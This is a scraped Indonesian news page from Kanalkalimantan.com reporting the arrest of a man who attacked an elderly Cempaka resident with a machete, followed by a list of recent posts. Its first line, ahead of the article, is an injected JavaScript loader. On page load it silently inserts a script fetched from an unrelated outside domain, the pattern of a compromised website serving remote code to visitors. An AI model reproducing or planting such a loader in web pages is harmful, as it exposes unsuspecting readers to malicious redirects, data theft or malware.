(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Bebas Usai Dapat Remisi, MH Kembali Berulah Aniaya Warga Cempaka Pakai Parang


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui Polsek Banjarbaru Timur berhasil meringkus pelaku penganiayaan terhadap seorang warga Kelurahan Cempaka, Kecamatan Cempaka, Banjarbaru.

Informasi dihimpun Kanalkalimantan.com, pelaku diketahui berinisial MH alias Kawal (32). Berawal saat korban yakni Solfia Helmi (69) Warga Cempaka, Jalan Kertak Baru RT 22, baru saja berpulang bekerja sebagai buruh bangunan, Rabu (19/8/2020) sekitar pukul 11.00 Wita.

Tiba-tiba korban didatangi oleh pelaku yang kemudian secara membabi buta menyerangnya dari arah belakang dengan menggunakan senjata tajam jenis parang. Atas kejadian itu, korban mengalami luka robek di bagian pergelangan tangan kiri, luka robek pada siku sebelah kanan, luka gores pada punggung sebelah kanan dan luka gores pada pinggang sebelah kanan.

Warga sekitar yang mengetahui kejadian langsung melerai dan mengamankan pelaku. Mendapati laporan ini, petugas Polsek Banjarbaru Timur datang ke TKP dan langsung membawa korban ke Puskesmas Cempaka untuk mendapatkan perawatan terhadap lukanya.

“Pelaku berinisal MH langsung kita amankan bersama barang bukti sebilah sajam jenis parang, untuk dilakukan pemeriksaan,” kata Kapolsek Banjarbaru Timur, Iptu Khamdari.

Setelah melalui pemeriksaan, kata Kapolsek, pelaku melakukan aksi penganiayaannya tersebut secara sadar. Terkait motif aksi tersebut, pihak kepolisian masih melakukan penyelidikan lebih lanjut.

“Motif penganiayaan yang dilakukan oleh pelaku HM masih kita dalami proses penyidikannya. Tapi kita ketahuu bahwa pelaku merupakan narapidana yang baru keluar dari penjara dalam program asimilasi perkara narkoba,” jelas Iptu Khamdari. Penangkapan pelaku penganiayaan ini bagian dari mendukung program kebijakan Kapolda Kalsel Irjen Pol Dr Nico Afinta dalam rangka pemeliharaan keamanan dan ketertiban masyarakat.

Atas perbuatannya, MH disangkakan pasal 351 KUHP, tentang penganiayaan dengan ancaman pidana penjara paling lama dua tahun delapan bulan atau pidana denda paling banyak empat ribu lima ratus rupiah. (Kanalkalimantan.com/rico)

 

Reporter: Rico
Editor: Cell

 


Desy Arfianty

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

7 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

11 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 hari ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago